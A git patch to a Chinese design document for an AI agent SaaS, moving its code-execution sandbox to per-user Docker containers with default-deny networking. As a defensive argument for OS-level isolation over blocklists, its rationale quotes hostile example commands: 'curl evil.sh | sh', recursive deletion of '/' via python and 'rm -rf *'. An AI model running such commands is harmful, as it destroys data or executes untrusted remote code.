From 588b9e107084dd43e65eb4d5fdbc190b5d649bfc Mon Sep 17 00:00:00 2001 From: caoqianming Date: Mon, 25 May 2026 16:56:42 +0800 Subject: [PATCH] Revise sandbox design for per-user containers --- DESIGN.md | 30 ++++++++++++++++++------------ 1 file changed, 18 insertions(+), 12 deletions(-) diff --git a/DESIGN.md b/DESIGN.md index 938f546..ad47c89 100644 --- a/DESIGN.md +++ b/DESIGN.md @@ -192,7 +192,7 @@ SaaS 化不是"重写",而是把同一份 web `/v1` 服务部署到云端。 | Storage | **PG**(`ZCBOT_DB_URL` 指 docker compose / 远端 dev PG) | **PG**(指生产 PG) | | working_dir | `workspace/users///` | `/users///` | | Memory | `workspace/users//.memory/` (FS, dotfile) | `/users//.memory/` | -| Sandbox | subprocess + env 过滤 | per-task docker exec | +| Sandbox | subprocess + env 过滤 | per-user sandbox container + per-tool exec | | Auth | 邮箱密码(`users.email/password_hash`,bcrypt)→ JWT;platform_key → JWT(机器对机器) | OIDC → JWT(D' 替换 platform_key 路径;邮箱密码同步下线) | `workspace/` 仅存 skill 产物,state / messages 全在 PG。本地 vs SaaS 共用 `users//` 子树布局,差别只在外层根目录,不在 storage 形态。 @@ -362,16 +362,22 @@ create index on usage_events (model_profile, created_at); **Storage 实现:单一 PG ORM**(本地 + SaaS 共用):一份 schema、一份 SQLAlchemy、一份查询,无 adapter,无 SQL 方言适配,无契约测试。alembic 管 migration。 -### 7.5 沙盒:Per-task 容器 + Per-run exec +### 7.5 沙盒:Per-user 容器 + Per-tool exec | 选择 | 理由 | |---|---| -| 每 task 长驻容器 | 起容器 ~300ms 太慢;多轮 tool call 共享划算 | -| 每 run 一次 `docker exec` | exec 级 timeout / 资源限制 | -| 空闲 N 分钟回收 | 不浪费,resume 时拉起 | -| bind mount = user root | `/users//` → `/workspace`;同 user 多 task 不互隔(协作方便),跨 user 由独立实例隔离 | +| 每 user 长驻 sandbox container | 文件模型本来以 `/users//` 为安全边界;同 user 多 task / working_dir 共享素材与中间产物,per-user 容器比 per-task 容器更贴合心智模型 | +| 每 tool 调用一次 `docker exec` | exec 级 timeout / cwd / 资源统计;一轮对话内多次 tool call 复用同一容器 | +| 空闲 5 分钟回收 | 对话结束后进入 idle;5 分钟内新对话 / 新 tool call 复用,否则销毁;不浪费也避免频繁 cold start | +| bind mount = user root | `/users//` → `/workspace`;每次 exec 显式 `cwd=/workspace/`;同 user 内不做运行时隔离,跨 user 由独立容器 + 独立 mount 隔离 | -**资源限制**:cgroup CPU/mem、磁盘配额、egress allowlist(只放 LLM + PyPI 镜像)、root fs read-only、no-new-privileges、drop ALL caps。 +**边界划分**:Control plane 留在宿主后端,Execution plane 进容器。宿主后端负责 auth / JWT / DB 事务 / task-message 状态机 / `/v1/files` 路径校验与上传下载 / SSE broker / LLM 调用 / 受控 `web_search` 与 `web_fetch` / 配额审计。容器只跑不可信执行: `shell`、`run_python`、用户或模型生成脚本、编译器 / 解释器 / 包管理器 / 渲染命令。目标不是"所有操作都进容器",而是"所有不可信代码执行都不能在宿主执行";否则 DB 凭据、JWT secret、对象存储凭据反而更容易被带进执行面。 + +**硬限制**:cgroup CPU/mem、`pids-limit`、单次 exec timeout、同 user 并发 exec 数、上传大小、root fs read-only、`tmpfs /tmp`、no-new-privileges、drop ALL caps、非 root 用户运行。`run_python` 临时文件落 `/tmp/zcbot//` 或 working_dir 受控临时目录;exec 结束后按进程组清理,避免后台进程常驻。 + +**软配额**:按 user 计入 DB,超额返回 429 / 402 / 明确错误。配额项包括 workspace 磁盘总量、月度 LLM cost / tokens、tool wall time、文件上传下载流量、网络下载量、running task / exec 并发数。磁盘配额起步用应用层统计(上传 / write / tool 执行前后检查 + 周期扫 user root),后续需要更硬边界再上 filesystem project quota / volume driver。 + +**网络**:容器默认 deny outbound 更安全;搜索和网页抓取走宿主后端受控工具。确需安装依赖时走受控 PyPI 镜像或 HTTP proxy,并计量下载量;不要让容器自由 `curl` 外网 / 内网 / cloud metadata。 **选型**:起步 Docker;流量起来后视情况换 gVisor / Firecracker / e2b。 ### 7.6 Core 代码改造(按依赖顺序) @@ -420,9 +426,9 @@ create index on usage_events (model_profile, created_at); | 同 folder 多 task 并发写同名 | known limitation,实践频率近 0(同 wd 多 task 是"项目对话历史轨迹",非并发);dev SPA chat 区顶 banner 软警告(`GET /v1/tasks?working_dir=&run_status=running,cancelling` 拉同 wd 活跃邻居),不挡发送;宪法文件已由 `-` 命名隔离(§7.9 2026-05-20);真高频出现再加 gate | | 同 task 并发 POST messages 撞 `messages.idx` | `POST /messages` 单活 run gate:`SELECT … FOR UPDATE` 锁 task + `run_status in ('running','cancelling')` → 409;启动 lifespan reaper 把孤儿 `running`/`cancelling` 全标 error。未来 multi-worker 换 heartbeat / lease | | Run 跑太久 / 用户想中断 | `POST /v1/tasks/{id}/cancel` 协作式;LLM 走 streaming,chunk 间 poll cancel → 延迟 ~ 单 chunk 间隔(100ms 级)| -| `shell` / `run_python` 在 SaaS 无沙箱即开放外部用户 = 主机沦陷 / 跨 user 读 working_dir / cloud metadata 凭据泄漏 / 内网扫描 | **Stage C(§7.5 docker exec + drop caps + read-only rootfs + bind mount = own user root)是开放外部用户的 hard prereq**;现状 `tools/shell.py::BLOCKED_PATTERNS` 是 trivial-bypass 的装饰品(双空格 / `bash -c` / `python -c` / `curl \| sh` / `cd /` 全能过),**不在它上面加规则**,黑名单 fundamentally broken;外部开放前仅 dogfood + 信任同事白名单手动加 | -| Sandbox 出站越权 | egress allowlist 起步只放 LLM + PyPI | -| 资源滥用 | BYO key 默认;月度配额;cold task LRU 清 | +| `shell` / `run_python` 在 SaaS 无沙箱即开放外部用户 = 主机沦陷 / 跨 user 读 working_dir / cloud metadata 凭据泄漏 / 内网扫描 | **Stage C(§7.5 per-user sandbox container + per-tool exec + drop caps + read-only rootfs + bind mount = own user root + default-deny network)是开放外部用户的 hard prereq**;现状 `tools/shell.py::BLOCKED_PATTERNS` 是 trivial-bypass 的装饰品(双空格 / `bash -c` / `python -c` / `curl \| sh` / `cd /` 全能过),**不在它上面加规则**,黑名单 fundamentally broken;外部开放前仅 dogfood + 信任同事白名单手动加 | +| Sandbox 出站越权 | 容器默认 deny outbound;搜索 / 抓网页走宿主受控工具;依赖安装走受控 PyPI 镜像或 HTTP proxy,并显式阻断 cloud metadata / 内网地址 | +| 资源滥用 | 容器硬限制(CPU/mem/pids/timeout/并发 exec/上传大小) + user 软配额(磁盘、LLM cost、tool wall time、文件流量、网络下载量);idle 5 分钟回收 | ### 7.9 取舍说明 @@ -448,11 +454,11 @@ create index on usage_events (model_profile, created_at); **Memory 不入 DB**:跨 task 共享靠"同一 user 同一 FS 目录"自动达成。md 用户直接编辑器改,DB 化反而要造 UI、违反 §3.7"事实由用户判断"。 -**Tasks/Messages 在 PG 但 skill 产物在 FS**:tasks / messages 需要查询、过滤、全文搜、跨 task 统计 — DB 强项;skill 产物(`*.pptx` / `*.docx` / `sections/*.md`)终用户拿走,期望文件管理器看到、Office 打开、邮件发出 — 进 DB 要做"导出"多余操作。**FS 是产物天然存储,DB 是元数据 / 状态 / 索引天然存储**。同理 §7.5 bind mount = user root,容器里 ≡ 用户在 Web UI 看到的目录,无中间层翻译。 +**Tasks/Messages 在 PG 但 skill 产物在 FS**:tasks / messages 需要查询、过滤、全文搜、跨 task 统计 — DB 强项;skill 产物(`*.pptx` / `*.docx` / `sections/*.md`)终用户拿走,期望文件管理器看到、Office 打开、邮件发出 — 进 DB 要做"导出"多余操作。**FS 是产物天然存储,DB 是元数据 / 状态 / 索引天然存储**。同理 §7.5 bind mount = user root,容器里 ≡ 用户在 Web UI 看到的目录,无中间层翻译;per-user 容器天然匹配这个边界,per-task 容器会把同 user 共享工作区人为切碎。 **同 wd 多 task 并发不做 gate / clone / 物理隔离,只做软警告**(2026-05-21):候选方案过 γ(同 wd 单活 run gate)/ short_id 全产物隔离 / clone task 三种 — 最终都判定过度工程。dogfood 经验:同 wd 多 task 主要是"项目对话历史轨迹",并发频率近 0(用户开新 task 多数是想换思路重启,但不与旧 task 同时跑)。**走 Claude Code 同款"信任 + 软警告 + 承认 limitation"**(它官方文档把"多 session 同 cwd plan 文件互覆"也定为 known limitation,推荐 git worktree 但不强制),不在主路径加复杂度。dev SPA 在 selectTask + SSE 收尾两个触发点拉 `GET /v1/tasks?working_dir=&run_status=running,cancelling`,有命中挂 banner;真高频再升级 γ。**为什么不选 γ**:同 wd 单活硬挡破坏"扁平共享中间产物"对应的对话切换流畅性,且 cancelling 状态可能阻塞用户 retry 时一个错觉的"我没在跑啊";**为什么不选 short_id 全产物**:破坏 §7.1 同 wd 共享中间产物语义(扁平 figures/sections/ 跨 task 复用)+ SKILL.md 改造成本;**为什么不选 clone task**:解决的是"真要并行"罕见场景,工程量(cp -r + 新 task 流程 + UI 入口)对零频场景过重。 -**`shell` / `run_python` 不在工具层加强黑名单,SaaS 上线前 §7.5 sandbox 是 hard prereq**(2026-05-21):`tools/shell.py::BLOCKED_PATTERNS` 只挡 `rm -rf /` / `mkfs` / `dd` / fork bomb 几个明显失误,任何稍有意识的攻击者都绕得过 —— 双空格 / `bash -c` / `python -c "import shutil; shutil.rmtree('/')"` / `curl evil.sh \| sh` / `cd / && rm -rf *` / 间接 `bash script.sh` 全过。`cwd=base_dir` 只是起点不是 chroot,绝对路径 / `cd` 跑出去毫无阻力。**为什么不在它上面继续加规则**:命令注入的攻击面是图灵完备的(`shell=True` + 任何脚本语言可执行),黑名单不可能枚举完,做得越复杂越给人虚假安全感,且会误伤合法用法(`ls *.py | wc -l` / 重定向 / 子 shell)。**正确防线在 OS 层而非工具层**:§7.5 per-task docker exec + drop ALL caps + read-only rootfs + bind mount = own user root + egress allowlist + cgroup limits,这是 SaaS 开放外部用户的 hard prereq,Stage C 完成前一律仅 dogfood + 信任同事白名单手动加,DESIGN §7.7 / §7.8 已标 blocking。**为什么不选"shell=False + 拒管道 / 重定向 / `$()`"折中**:挡不住 `python -c` / `bash script.sh` 间接路径(任何脚本语言都可执行任意系统调用),且砍掉大量合法 shell 用法让 agent 体验崩,给人虚假安全感。**本地 dogfood 现状接受风险**:用户自己的机器 + 自己输的 prompt,blast radius 限自身,§5 "less scaffolding more trust" 适用;外部用户场景 blast radius 是 SaaS 主机 + 其他 user 数据 + cloud IAM,信任模型完全不同,必须 §7.5。 +**`shell` / `run_python` 不在工具层加强黑名单,SaaS 上线前 §7.5 sandbox 是 hard prereq**(2026-05-21,05-25 更新):`tools/shell.py::BLOCKED_PATTERNS` 只挡 `rm -rf /` / `mkfs` / `dd` / fork bomb 几个明显失误,任何稍有意识的攻击者都绕得过 —— 双空格 / `bash -c` / `python -c "import shutil; shutil.rmtree('/')"` / `curl evil.sh \| sh` / `cd / && rm -rf *` / 间接 `bash script.sh` 全过。`cwd=base_dir` 只是起点不是 chroot,绝对路径 / `cd` 跑出去毫无阻力。**为什么不在它上面继续加规则**:命令注入的攻击面是图灵完备的(`shell=True` + 任何脚本语言可执行),黑名单不可能枚举完,做得越复杂越给人虚假安全感,且会误伤合法用法(`ls *.py | wc -l` / 重定向 / 子 shell)。**正确防线在 OS 层而非工具层**:§7.5 per-user sandbox container + per-tool exec + drop ALL caps + read-only rootfs + bind mount = own user root + default-deny network + cgroup limits,这是 SaaS 开放外部用户的 hard prereq,Stage C 完成前一律仅 dogfood + 信任同事白名单手动加,DESIGN §7.7 / §7.8 已标 blocking。**为什么 per-user 而非 per-task**:用户文件模型就是 user-rooted,同 user 多 task 共享素材 / memory / working_dir 是产品价值;安全目标是跨 user 隔离,不是同 user task 互隔。**为什么不是所有操作都进容器**:auth / DB / files API / SSE / LLM / 受控 web 工具属于 control plane,必须留在宿主后端做权限和审计;只有不可信代码执行进 execution plane。**为什么不选"shell=False + 拒管道 / 重定向 / `$()`"折中**:挡不住 `python -c` / `bash script.sh` 间接路径(任何脚本语言都可执行任意系统调用),且砍掉大量合法 shell 用法让 agent 体验崩,给人虚假安全感。**本地 dogfood 现状接受风险**:用户自己的机器 + 自己输的 prompt,blast radius 限自身,§5 "less scaffolding more trust" 适用;外部用户场景 blast radius 是 SaaS 主机 + 其他 user 数据 + cloud IAM,信任模型完全不同,必须 §7.5。 **task 级「宪法」文件靠文件名隔离,不 cascade / 不入 DB / 不开物理子目录**(2026-05-20):同 working_dir 多 task **共享中间产物**(`source/` / `sections/` / `figures/`)是真实价值(素材跨多本子复用),但 spec 这种 task 1:1 宪法文件必须隔离(两本子 spec 直接撞)。文件名 `--..md`:`task_short_id`(`task_id.hex[:8]`,永不变)主锚,glob `*--*..md` 字典序最大 = current 版本;`` 让"重定调"写新文件而非 edit 覆盖,旧版自然成历史快照;`` 仅作"建时元数据 / 人类可读说明",改 name 不 cascade(由 short_id 兜底定位)。**反方案不选**:① cascade rename — in-flight run 期间文件丢 + 复杂度上升;② DB 化(spec 入 PG)— 架构最干净但工作量 5-10×,且失"用户直接编辑 markdown"能力,且 spec 字段还在演化没必要这么早 schema 化;③ 物理 task 子目录(`//`)— 破坏 §7.4 中间产物扁平共享设计。**升级到 DB 化的信号**:dev SPA 想做结构化编辑视图 / 想跨 task 查询 spec 字段(基金类型 / 经费 / 考核指标)/ markdown 版本文件堆积乱。约定由 `core/agent_builder.py::_build_system_prompt` 单点注入(`task_id` / `today` 实际值嵌入),所有 skill SKILL.md 引用同一份(目前 proposal / ppt 的 `spec`,未来 `outline` 等同款)。